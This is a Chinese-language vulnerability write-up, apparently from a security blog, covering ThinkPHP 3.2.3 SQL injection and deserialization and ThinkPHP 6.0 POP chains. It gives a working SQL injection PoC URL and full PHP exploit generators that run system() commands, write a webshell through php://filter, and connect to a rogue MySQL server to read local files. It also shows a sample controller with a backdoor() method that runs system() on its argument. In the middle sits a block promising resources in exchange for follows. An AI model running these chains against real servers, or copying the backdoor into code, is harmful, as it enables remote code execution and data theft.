        if(!is_numeric($key) && !preg_match('/[,\'\"\*\(\)`.\s]/',$key)) {
           $key = '`'.$key.'`';
        }
        return $key;
    }

filter_exp

function filter_exp(&$value){
    if (in_array(strtolower($value),array('exp','or'))){
        $value .= ' ';
    }
}

I函数中重点代码:

 // 取值操作
        $data       =   $input[$name];
        is_array($data) && array_walk_recursive($data,'filter_exp');
        $filters    =   isset($filter)?$filter:C('DEFAULT_FILTER');
        if($filters) {
            if(is_string($filters)){
                $filters    =   explode(',',$filters);
            }elseif(is_int($filters))
                $filters    =   array($filters);
            }

            foreach($filters as $filter){
                if(function_exists($filter)) {
                    $data   =   is_array($data)?array_map_recursive($filter,$data):$filter($data); // 参数过滤
                }else{
                    $data   =   filter_var($data,is_int($filter)?$filter:filter_id($filter));
                    if(false === $data) {
                        return   isset($default)?$default:NULL;
                    }
                }
            }
        }
    }else{ // 变量默认值
        $data       =    isset($default)?$default:NULL;
    }

那么可以看到这里是没有任何有效的过滤的 即时是filter_exp,如果写的是

filter_exp在I函数的fiter之前,所以如果开发者这样写I(‘get.id’, ‘’, ‘trim’),那么会直接清除掉exp后面的空格,导致过滤无效。


返回:

}else {
                $whereStr .= $key.' = '.$this->parseValue($val);
            }
        }
        return $whereStr;

漏洞复现

直接在IndexController.class.php中创建一个测试代码


public function index(){
        $map=array();
        $map['id']=$_GET['id'];
        $data=M('users')->where($map)->find();
        dump($data);
    }

数据库配置:

Poc:
?id[0]=exp&id[1]==updatexml(0,concat(0x0e,user(),0x0e),0)


三.反序列化

thinkphp3.2.3反序列化漏洞

漏洞分析

首先全局搜索 destruct, 这里的 $this->img 可控,可以利用其来调用 其他类的destroy() 方法,或者可以用的call() 方法,__call() 方法并没有可以利用的


那就去找 destroy() 方法



注意这里,destroy() 是有参数的,而我们调用的时候没有传参,这在php5中是可以的,只发出警告,但还是会执行。

但是在php7 里面就会报出错误,不会执行。

所以漏洞需要用php5的环境。

继续寻找可利用的delete()方法。

在Think\Model类即其继承类里,可以找到这个方法,还有数据库驱动类中也有这个方法的,thinkphp3的数据库模型类的最终是会调用到数据库驱动类中的。


先看Model类中。


还需要注意这里!!如果没有 $options[‘where’] 会直接return掉。

跟进 getPK() 方法


$pk 可控 $this->data 可控 。

最终去驱动类的入口在这里


下面是驱动类的delete方法


我们在一开始调用Model类的delete方法的时候,传入的参数是

$this->sessionName.$sessID

而后面我们执行的时候是依靠数组的,数组是不可以用 字符串连接符的。参数控制不可以利用$this->sessionName。


但是可以令其为空(本来就是空),会进入Model 类中的delete方法中的第一个if分支,然后再次调用delete方法,把 $this->data[$pk] 作为参数传入,这是我们可以控制的!


看代码也不难发现注入点是在 $table 这里,也就是 $options[‘table’],也就是 $this->data[$this->pk[‘table’]];


直接跟进 driver类中的execute() 方法


跟进 initConnect() 方法


跟进connect() 方法


数据库的连接时通过 PDO 来实现的,可以堆叠注入(PDO::MYSQL_ATTR_MULTI_STATEMENTS => true ) 需要指定这个配置。

这里控制 $this->config 来连接数据库。


driver类时抽象类,我们需要用mysql类来实例化。


到这里一条反序列化触发sql注入的链子就做好了。

漏洞复现

poc

<?php
namespace Think\Image\Driver;
use Think\Session\Driver\Memcache;
class Imagick{
    private $img;
    public function __construct(){
        $this->img = new Memcache();
    }
}
namespace Think\Session\Driver;
use Think\Model;
class Memcache {
    protected $handle;
    public function __construct(){
        $this->sessionName=null;
        $this->handle= new Model();
    }
}
namespace Think;
use Think\Db\Driver\Mysql;
class Model{
    protected $pk;
    protected $options;
    protected $data;
    protected $db;
    public function __construct(){
        $this->options['where']='';
        $this->pk='jiang';
        $this->data[$this->pk]=array(
            "table"=>"mysql.user where 1=updatexml(1,concat(0x7e,user()),1)#",
            "where"=>"1=1"
        );
        $this->db=new Mysql();
    }
}
namespace Think\Db\Driver;
use PDO;
class Mysql{
    protected $options ;  
    protected $config ;
    public function __construct(){
        $this->options= array(PDO::MYSQL_ATTR_LOCAL_INFILE => true );   // 开启才能读取文件
        $this->config= array(
            "debug"    => 1,
            "database" => "mysql",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
        }
}
use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));

这里可以连接任意服务器,所以还有一种利用方式,就是MySQL恶意服务端读取客户端文件漏洞。


利用方式就是我们需要开启一个恶意的mysql服务,然后让客户端去访问的时候,我们的恶意mysql服务就会读出客户端的可读文件。


这里的hostname 是开启的恶意mysql服务的地址以及3307端口


下面搭建恶意mysql服务


修改port 和filelist

执行python脚本后,发包,触发反序列化后,就会去连接恶意服务器,然后把客户端下的文件带出来。


下面就是mysql.log 中的 文件信息(flag.txt)


当脚本处于运行中的时候,我们只可以读取第一次脚本运行时定义的文件,

因为mysql服务已经打开了,我们需要关闭mysql服务,然后才可以修改脚本中的其他文件。

ps -ef|grep mysql

然后依次 kill 就好。

hinkphp 6.0 反序列化漏洞分析

ThinkPHP目录结构:

project  应用部署目录
├─application           应用目录(可设置)
│  ├─common             公共模块目录(可更改)
│  ├─index              模块目录(可更改)
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  ├─command.php        命令行工具配置文件
│  ├─common.php         应用公共(函数)文件
│  ├─config.php         应用(公共)配置文件
│  ├─database.php       数据库配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └─route.php          路由配置文件
├─extend                扩展类库目录(可定义)
├─public                WEB 部署目录(对外访问目录)
│  ├─static             静态资源存放目录(css,js,image)
│  ├─index.php          应用入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于 apache 的重写
├─runtime               应用的运行时目录(可写,可设置)
├─vendor                第三方类库目录(Composer)
├─thinkphp              框架系统目录
│  ├─lang               语言包目录
│  ├─library            框架核心类库目录
│  │  ├─think           Think 类库包目录
│  │  └─traits          系统 Traits 目录
│  ├─tpl                系统模板目录
│  ├─.htaccess          用于 apache 的重写
│  ├─.travis.yml        CI 定义文件
│  ├─base.php           基础定义文件
│  ├─composer.json      composer 定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     惯例配置文件
│  ├─helper.php         助手函数文件(可选)
│  ├─LICENSE.txt        授权说明文件
│  ├─phpunit.xml        单元测试配置文件
│  ├─README.md          README 文件
│  └─start.php          框架引导文件
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

控制器写法:

控制器文件通常放在application/module/controller下面,类名和文件名保持大小写一致,并采用驼峰命名(首字母大写)。

为了感谢广大读者伙伴的支持,准备了以下福利给到大家:
【一>所有资源关注我,私信回复“资料”获取<一】
1、200多本网络安全系列电子书(该有的都有了)
2、全套工具包(最全中文版,想用哪个用哪个)
3、100份src源码技术文档(项目学习不停,实践得真知)
4、网络安全基础入门、Linux、web安全、攻防方面的视频(2021最新版)
5、网络安全学习路线(告别不入流的学习)
6、ctf夺旗赛解析(题目解析实战操作)

一个典型的控制器类定义如下:

<?php
namespace app\index\controller;

use think\Controller;

class Index extends Controller
{
    public function index()
    {
        return 'index';
    }
}

控制器类文件的实际位置是

application\index\controller\Index.php

一个例子:

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
    }
    public function backdoor($command)
    {
        system($command);
    }
}

想进入后门,需要访问:

http://ip/index.php/Index/backdoor/?command=ls

所以写一个漏洞利用点:

控制器,app/home/contorller/index.php

<?php

namespace app\home\controller;

use think\facade\Db;

class Index extends Base
{
    public function index()
    {
        return view('index');
    }
    public function payload(){
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
        }
        else{
            highlight_file(__FILE__);
        }
        return "Welcome to TP6.0";
    }
}

POP1

入口:/vendor/topthink/think-orm/src/Model.php

$this->lazySave==True,跟进:

想要进入updateData方法,需要满足一些条件:

让第一个if里面一个条件为真才能不直接return,也即需要两个条件:

$this->isEmpty()==false
$this->trigger('BeforeWrite')==true
其中isEmpty():
 public function isEmpty(): bool
 {
 return empty($this->data);
 }

$this->data!=null即可满足第一个条件。再看trigger('BeforeWrite'),位于ModelEvent类中:

protected function trigger(string $event): bool
 {
 if (!$this->withEvent) {
 return true;
 }
 .....
 }

$this->withEvent==false即可满足第二个条件,

然后需要让$this->exists=true,这样才能执行updateData

跟进updateData()

想要执行checkAllwoFields方法需要绕过前面的两个 if 判断,必须满足两个条件:

$this->trigger('BeforeUpdate')==true
$data!=null

第一个条件上面已经满足,现在看第二个条件$data,查看$data是怎么来的,跟进getChangedData方法,src/model/concern/Attribute.php

因为$force没定义默认为 null ,所以进入array_udiff_assoc,由于$this->data$this->origin默认也为null,所以不符合第一个if判断,最终$data=0,也即满足前面所提的第二个条件,$data!=null

然后查看 checkAllowFields 方法调用情况。

我们想进入字符拼接操作,就需要进入else,所以要让$this->field=null$this->schema=null,进入下面

这里存在可控属性的字符拼接,所以可以找一个有__tostring方法的类做跳板,寻找__tostring

src/model/concern/Conversion.php

进入toJson方法,

我们想要执行的就是getAttr方法,触发条件:

$this->visible[$key]需要存在,而$key来自$data的键名,$data又来自$this->data,即$this->data必须有一个键名传给$this->visible,然后把键名$key传给getAttr方法,

跟进getAttr方法,vendor/topthink/think-orm/src/model/concern/Attribute.php

跟进getData方法,

跟进getRealFieldName方法,

$this->stricttrue时直接返回$name,即键名$key

返回getData方法,此时$fieldName=$key,进入if语句,返回$this->data[$key],再回到getAttr方法,

return $this->getValue($name, $value, $relation);

即返回

return $this->getValue($name, $this->data[$key], $relation);

跟进getValue方法,

如果我们让$closure为我们想执行的函数名,$value$this->data为参数即可实现任意函数执行。

所以需要查看$closure属性是否可控,跟进getRealFieldName方法,

如果让$this->strict==true,即可让$$fieldName等于传入的参数$name,即开始的$this->data[$key]的键值$key,可控

又因为$this->withAttr数组可控,所以,$closure可控·,值为$this->withAttr[$key],参数就是$this->data,即$data的键值,

所以我们需要控制的参数:

$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true

这里还需要注意,Model是抽象类,不能实例化。所以要想利用,得找出 Model 类的一个子类进行实例化,这里可以用 Pivot 类(位于\vendor\topthink\think-orm\src\model\Pivot.php中)进行利用。

所以构造exp:

<?php
namespace think{
    abstract class Model{
        use model\concern\Attribute;  //因为要使用里面的属性
        private $lazySave;
        private $exists;
        private $data=[];
        private $withAttr = [];
        public function __construct($obj){
            $this->lazySave = True;
            $this->withEvent = false;
            $this->exists = true;
            $this->table = $obj;
            $this->data = ['key'=>'dir'];
            $this->visible = ["key"=>1];
            $this->withAttr = ['key'=>'system'];
        }
    }
}

namespace think\model\concern{
    trait Attribute
    {
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
    }

    $a = new Pivot('');
    $b = new Pivot($a);
    echo urlencode(serialize($b));
}

POP2

入口:vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php

$autosave = false

因为AbstractCache为抽象类,所以需要找一下它的子类,/vendor/topthink/framework/src/think/filesystem/CacheStore.php,因为里面实现了save方法,

继续跟进getForStorage

跟进cleanContents方法,

只要不是嵌套数组,就可以直接return回来,返回到json_encode,他返回json格式数据后,再回到save方法的set方法,

因为$this->store可控,我们可以调用任意类的set方法,如果该类没用set方法,所以可能触发__call。当然也有可能自身的set方法就可以利用,找到可利用set方法,src/think/cache/driver/File.php

跟进getCacheKey,这里其实就是为了查看进入该方法是否出现错误或者直接return了,

所以这里$this->option['hash_type']不能为空,然后进入serialize方法,src/think/cache/Driver.php

这里发现options可控,如果我们将其赋值为system,那么return的就是我们命令执行函数,$data我们是可以传入的,那就可以RCE,回溯$data是如何传入的,即save方法传入的$contents,但是$contents是经过了json_encode处理后的json格式数据,那有什么函数可以出来json格式数据呢?经过测试发现system可以利用:

链子如下:

/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()

/vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()

/vendor/topthink/framework/src/think/cache/driver.php::set()

/vendor/topthink/framework/src/think/cache/driver.php::serialize()

exp如下:

<?php

namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache
    {
        protected $autosave = false;
        protected $complete = "`id`";
    }
}

namespace think\filesystem{
    use League\Flysystem\Cached\Storage\AbstractCache;
    class CacheStore extends AbstractCache
    {
        protected $key = "1";
        protected $store;

        public function __construct($store="")
        {
            $this->store = $store;
        }
    }
}

namespace think\cache{
    abstract class Driver
    {
        protected $options = [
            'expire' => 0,
            'cache_subdir' => true,
            'prefix' => '',
            'path' => '',
            'hash_type' => 'md5',
            'data_compress' => false,
            'tag_prefix' => 'tag:',
            'serialize' => ['system'],
        ];
    }
}

namespace think\cache\driver{
    use think\cache\Driver;
    class File extends Driver{}
}

namespace{
    $file = new think\cache\driver\File();
    $cache = new think\filesystem\CacheStore($file);
    echo urlencode(serialize($cache));
}

?>

但是没有回显,但是能够反弹 shell ,

POP3

这里其实和 POP2 一样,只是最终利用点发生了些许变化,调用关系还是一样:

/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()

/vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()

/vendor/topthink/framework/src/think/cache/driver.php::set()

/vendor/topthink/framework/src/think/cache/driver.php::serialize()

POP2 是利用的控制serialize函数来RCE,但下面还存在一个file_put_contents($filename, $data)函数,我们也可以利用它来写入 shell,

我们还是需要去查看文件名是否可控,进入getCacheKey方法,

可以发现我们可以控制文件名,而且可以在$this->options['path']添加伪协议,再看写入数据$data是否可控呢,可以看到存在一个exit方法来限制我们操作,可以伪协议filter可以绕过它

所以文件名和内容都可控,exp:

<?php 

namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache
    {
        protected $autosave = false;
        protected $complete = "aaaPD9waHAgcGhwaW5mbygpOw==";
    }
}

namespace think\filesystem{
    use League\Flysystem\Cached\Storage\AbstractCache;
    class CacheStore extends AbstractCache
    {
        protected $key = "1";
        protected $store;

        public function __construct($store="")
        {
            $this->store = $store;
        }
    }
}

namespace think\cache{
    abstract class Driver
    {
        protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>0,"hash_type"=>"md5","cache_subdir"=>0,"path"=>"php://filter/write=convert.base64-decode/resource=","data_compress"=>0];
    }
}

namespace think\cache\driver{
    use think\cache\Driver;
    class File extends Driver{}
}

namespace{
    $file = new think\cache\driver\File();
    $cache = new think\filesystem\CacheStore($file);
    echo urlencode(serialize($cache));
}

 ?>

成功写入